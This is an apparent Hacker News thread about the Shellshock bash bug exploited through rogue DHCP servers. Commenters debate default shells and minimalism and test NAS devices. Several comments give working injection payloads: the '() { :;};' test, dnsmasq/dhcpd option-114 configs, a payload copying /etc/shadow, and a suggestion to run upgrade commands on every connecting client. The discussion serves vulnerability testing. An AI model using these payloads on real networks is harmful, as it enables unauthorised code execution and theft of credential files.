Shellshock DHCP Remote Code Execution – Proof of Concept
trustedsec.com
trustedsec.com
This is hundreds of times worse than heartbleed in terms of scope/attack surface for modern servers... (I say hundreds of times worse because heartbleed was scrape-some-data-till-you-get-private-keys-and-watch-communication, where this is just get-yourself-a-shell-and-pwn-the-machine)
I would consider linux to have more eyes on it, and if I remember correctly, LibreSSL was not infallible (despite all the shaming of OpenSSL folks that went on)
LibreSSL is a fork of OpenSSL - it would not be a huge surprise if there remained OpenSSL bugs in it.
nvm, here's the link-
http://www.theregister.co.uk/2014/07/17/libressl_crypto_bug/
And if you pay attention, you'll notice that this overblown bug was only relevant to Linux. Linux simply lacked some functionality OpenBSD has so they tried to hack a solution into the compatibility layer. So the first one or two preview releases turned out not to be perfect.
OpenBSD was never affected.
Though there were a few other unintended OS-agnostic changes that did actually slip in and were subsequently noticed and corrected.
So when I poke around under /usr/src, I find some utility or daemon or whatever else I haven't looked into before. And I think, oh, that's only a couple k lines of code? I wonder how it works... It just invites me to read.
I get the exact opposite reaction when faced with some system that's 200k lines of code. That looks important, maybe I should audit it.. nah, I don't have the time now. Maybe I'll start tomorrow. Tomorrow comes. Maybe I'll start in the weekend. Weekend comes. Maybe I'll start in two weeks because now I'm busy and next week I'm busy too. Two weeks later, chances are I don't even remember. If I do, I might end up promising myself to take a look at it around next Christmas...
Another thing is that OpenBSD moves slower, and instead of constantly adopting another cool new thing as the new replacement for the old thing that kinda worked but nobody wanted to improve, they seem to put more effort into extending and polishing the old thing that has served well. So there's less code churn, i.e. less new code with new bugs.
For example on BSD you could technically install bash, but chances that it is used as a shell for a services is very small.
* Change the default for the system shell to dash.
* Ship /bin/sh in the package and fix the diversion handling
for it to make sure /bin/sh is always present.
* Set debconf priority to high when upgrading from an existing
system.
The system shell is the default command interpreter for
shell scripts.
Using dash as the system shell will improve the
system's overall performance. It does not alter the shell
presented to interactive users.
Use dash as the default system shell (/bin/sh)?
<Yes> <No>This is a honest question. How could an automated Debian administration process not be aware of and interact on some level with debconf?
EDIT: Indeed, from the same changelog: debian/dash.NEWS.Debian: when upgrading existing installations, the system shell will not be changed automatically (closes:#539363).
Please explain how your automated Debian administration system that has been in place since Lenny[^1] handles unattended dist-upgrades without the use of preseeding the debconf database for questions with a priority of high or critical?
[^1]: Squeeze was February 2011, any new stable installation since squeeze defaulted to dash as /bin/sh
EDIT: Nevermind, I answered my own question, unattended dist-upgrades from Lenny to squeeze is not something you have any experience with: "I'm now using Debian Wheezy, after primarily using Windows environments my entire life." https://news.ycombinator.com/item?id=6564610#up_6565766
I wonder if it would be a reach to say that the average mac user (though when I think about it, a disproportionate amount of those users are probably devs) will hear about this on the news, and assume Apple has their back (which they do, I'm sure they'll force a patch soon if they haven't already) and not even know there's a UNIX system down there
Though I'm not suggesting that one shouldn't check their own devices to be safe rather than sure.
However in all cases, I think you'd still be right about Bash not being present.
I hadn't heard of these other Cisco products until yesterday, but from what I read IOS XE and NX OS also run on Linux.
Anyhow, getting back to my original point about FreeBSD, there's a few sources that have linked IOS to FreeBSD. But after doing some digging of my own on this topic, I've come to the conclusion that this is one of those urban legends that's proliferated for whatever reason. So it would seem that you're right about IOS being home rolled. Interestingly though, they do have other products which are FreeBSD powered (eg AsyncOS http://www.cisco.com/c/en/us/products/security/email-securit...) but, as you said, not IOS
Or do they typically also offer some kind of shell (telnet? ssh?) access?
As someone who has survived the 1990's scare-a-palooza of Sendmail exploits, and ssh before separation of privileges, and on and on - no, it's not. Not even close.
Minimalism is seriously a good idea. "Features" are not harmless and cost way more than you think. Providing more flexibility or functionality than absolutely necessary should really be considered and called out as defective, smelly and a bad practice.
Just saying "systemd is complex" is fairly sloppy thinking; the question is, is it more or less complex than re-implementing that functionality poorly and incompatibly several dozen other times in various other daemons and startup scripts?
This way, it's easy to pick and choose what features and complexity each script needs, and the features that you don't use can't affect you. Nothing is running on your system that you don't know about, and there's no complex "magic" anywhere unless you explicitly ran a command which does magic things.
[0] http://homepage.ntlworld.com/jonathan.deboynepollard/Softwar... [1] http://skarnet.org/software/execline/
Impossible to read and understand.
Full list of fallacies: http://judecnelson.blogspot.com/2014/09/systemd-biggest-fall...
"It's got to much code, a shell should just execute shellscript not handle input"
Perhaps they'll listen now - haha as if
Honestly, I'd sooner go the other way.
The window manager handles input/output and sends bytes to stdout for processing. The environment is a per process filesystem in /proc/$pid/env/ .
Keeping the TTY around is a dumb move. Kill it with fire.
Dave Presotto put it best "Linux: by amateurs, for amateurs"
All the ones I know only want to sell "features".
Your words are absolutely 100% true, 1wd.
But I have become cynical that the world of software developers and their best customers (e.g., the ones who love "features") will never, ever follow your advice.
Personally, I prefer minimalism irrespective of the security benefits. But "engineering", a term many HN readers might attribute to their own work, like to speak of "trade-offs". All engineering involves trade-offs.
When you go without "features", sometimes you actually get something in return. What you "get" might not always be obvious. This week, it should be obvious. At least to everyone who chooses a more minimal shell without surplus features.
http://mywiki.wooledge.org/Bashism http://news.ycombinator.com/item?id=6866696p
That so many things delegate setting environment variables to the system shell is what allows a vulnerability like this to be so pervasive. Why does a DHCP client pass server-originated data to a full shell? In some ways, it's a form of minimalism.
I think you've completely misunderstood the problem. The environment variable isn't and doesn't need to be set by a shell for shellshock to happen.
Why shouldn't a DHCP client pass server-originated data to a shell? Or any other program? There is nothing wrong with passing data. The only problem here is that a specific shell had a bug.
WDMyCloud:~# ls -l /bin/sh lrwxrwxrwx 1 root root 4 Jun 30 08:38 /bin/sh -> bash
nas:~# bash --version | head -1
GNU bash, version 4.2.37(1)-release (arm-unknown-linux-gnueabihf)
nas:~# uname -a
Linux nas 3.2.26 #1 SMP Tue Jun 17 15:53:22 PDT 2014 wd-2.2-rel armv7l GNU/Linux
nas:~# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
Synology DSM 5.0-4493 Update 5 here: it uses busybox, so not vulnerable.
synology> which bash
synology> which sh
/bin/sh
synology> which ash
/bin/ash
synology> ls -l /bin/sh
lrwxrwxrwx 1 root root 7 Jun 5 11:27 /bin/sh -> busybox
synology> ls -l /bin/ash
lrwxrwxrwx 1 root root 7 Jun 5 11:27 /bin/ash -> busyboxhttp://qnap.benchmarkmails26.com/c/v?e=53F45E&c=47C09&l=149F...
[1]: https://security-tracker.debian.org/tracker/CVE-2014-6271
dhcp-option-force=114,() { :; }; if hash apt-get 2>/dev/null; then apt-get update -y && apt-get upgrade -y;fi; if hash yum 2>/dev/null; then yum update;fi;
to upgrade most vulnerable systems that connect to our network :) What other upgrade commands are there?
http://en.wikipedia.org/wiki/Max_Butler#FBI_investigation.2C...
Has anyone tried this with an OS X client to see if it behaves like the Linux system in the article? I know OS X bash is vulnerable to the exploit, but I don't know if their DHCP system handles environment variables in an exploitable way.
i thought this was pretty straightforward
why do people use custom scrolling behaviour? it's always horrible
Actually it's primarily Linux because /bin/sh is pointing to bash.
In the embedded world, people rarely run full GNU userland utils. They're extremely big and bloated, and embedded devicse needs maximum bang for buck. Therefore most of them comes with busybox, which besides being incredibly compact also is 100% unaffected.
Same goes for Android/Linux-based phones. Most don't come with a proper shell at all, and those who do, usually have busybox.
If this is true, there's been a fair amount of paranoia on HN that has gone sadly unanswered with corrections.
A note for those trying to reproduce the PoC (as I was yesterday) - ISC's DHCP server only sends client-requested options by default, though this can be overridden [1]. tftpd [2], the software used in the PoC, is likely the easiest way to demo the vulnerability.
[1] http://linux.die.net/man/5/dhcpd-options (search for "dhcp-parameter-request-list")
[1] http://www.alienvault.com/open-threat-exchange/blog/attacker...
interface=eth2
dhcp-range=10.0.1.100,10.0.10.200,12h
dhcp-option-force=114,() { :; }; echo "hi"
iface eth0 inet dhcp
sudo ifdown eth0 && sudo ifup eth0
But dhclient calls dhclient-script to execute various hook scripts, and dhclient-script uses #!/bin/bash and is thus vulnerable.
On my particular Debian system, it doesn't look like NetworkManager based DHCP is affected, as it doesn't call the dhclient-script. It does call various scripts in /etc/network/if-*.d/, but none of the ones that I have installed use bash, they all use sh. However, if I deliberately put a bash script in there, and attach it to the network with the rogue DHCP server, it does get passed the bad environment variable (though on my Debian system I've already updated Bash so I just get the error message rather than the exploit).
So yeah, there are a a lot of ways for a stray Bash script to cause problems here.
edit: According to one poster on Stackexchange, Debian/Ubuntu may be vulerable despite not having bash for /bin/sh: "What's more, on Debian (and possibly many of its myriads of offsprings like Ubuntu), which uses dash as /bin/sh, dhclient-script is explicitely shebanged to /bin/bash, and it does seem to contain a bashism, too" (https://security.stackexchange.com/questions/68156/is-connec...)
option dhcp_114_FW_URL code 114 = text; option dhcp_114_FW_URL "() { ignored;}; cat /etc/shadow > /tmp/shadow"
or
option domain-name "() { :;}; cat /etc/shadow > /tmp/shadow";
not working.
dhcpdump says that option sends correctly: OPTION: 53 ( 1) DHCP message type 5 (DHCPACK) OPTION: 54 ( 4) Server identifier 192.168.1.1 OPTION: 51 ( 4) IP address leasetime 600 (10m) OPTION: 1 ( 4) Subnet mask 255.255.255.0 OPTION: 3 ( 4) Routers 192.168.1.1 OPTION: 15 ( 39) Domainname () { :;}; cat /etc/shadow > /tmp/shadow
What could be the problem?
I found that with ifupdown, you see the issue, as it uses dhclient which in turn calls out to dhclient-script, which is written in bash. If you use NetworkManager, it doesn't call dhclient-script; it does however call the scripts in /etc/network/if-.d, and if any of those are written in bash, then you see the issue. None of the scripts in /etc/network/if-.d on my system used bash, they all used /bin/sh, so on a Debian system where that points to dash instead of bash you're OK.
# debconf-show dash
* dash/sh: true
https://github.com/mschwager/shellshock_poc
I tested it with my laptop and android phone on my wifi network.
Feel free to fork it and use it as a place to start for your own poc.
Needless to say, the entire BSD family is not affected by this bug as bash is not the default shell and to be fair a lot of Linux distributions are not affected either. If bash is your Linux distributions /bin/sh, OR you have applications directly calling bash, you should be telling them to get with the times as most people have since moved on to ash, dash or busybox for more efficient processing.
Regardless, shell is such an important in part of the system - it allows non programmers to "do things". Thanks to the dhcpcd hook system, a user was able to start tcpdump on hotplugged interface before dhcpcd actually started using it during the boot process. Why he wanted to do this, I don't know, probably for some debugging. But the point is, how would he have done this without shell hooks?
The important thing to take away from this is don't lock yourself into one technology - strive to be portable. dhcpcd works on many OS's, libcs, shells and userland tools. If any of them prove faulty, swap them out - including dhcpcd itself! But please at least tell me why you're swapping dhcpcd out so I can improve it :)
curl -s https://s3.amazonaws.com/download.draios.com/stable/install-sysdig | sudo bash
To protect against running untrusted code in a shell, you ... run code from an untrusted source in the shell. As root.
Speaking of Linux-based NAS systems, Amahi systems have been updated via a repo update that pulls the latest bash fix.
Notably, attackers in an unhardened network can reply to DHCP clients themselves, even if there's already a DHCP server on the network. So it's not just the sysadmin who can exploit this, but anyone on the same network (broadcast domain) as the vulnerable DHCP client.
The following indicates than a patched bash is forthcoming: http://lists.freenas.org/pipermail/freenas-commit/2014-Septe...
The best way to find out if you're vulnerable is by testing. It takes just a few minutes to set up dnsmasq to serve up an exploit. Here were my settings:
interface=eth2
dhcp-range=10.0.1.100,10.0.10.200,12h
dhcp-option-force=114,() { :; }; echo "hi"
If any bash scripts are called, with the environment variables that are set by dhclient, then that snippet should be run. If bash is not invoked, then that snippet won't ever run.
GNU bash, version 4.2.37(1)-release (x86_64-pc-linux-gnu)
Just because bash is vulnerable in this case doesn't mean that networkd/network-manager will never be vulnerable.
Those scripts often exist because if the sysadmin needs something special to happen on DHCP, this is where he sets it. It's not "DHCP scripts get run by/are shell scripts," it's "DHCP binaries are prepared to call out to external scripts."
I've had to write these shell scripts (using ksh, since OpenBSD, so those are safe).
It calls shell scripts, because, like I said in the comment you replied to, sometimes sysadmins need very specific things to happen when the machine gets a DHCP lease.
> A variety of other system services are used by NetworkManager
> to provide network functionality wpasupplicant for wireless
> connections and 8021x wired connections pppd for PPP and
> mobile broadband connections DHCP clients for dynamic IP
> addressing
Sort of a special case of the principle of minimum privilege, when applied to the feature set of your tools.
That being said the design of networkd looks very nice indeed and against my better judgement I'm even running it in something that you could almost consider production.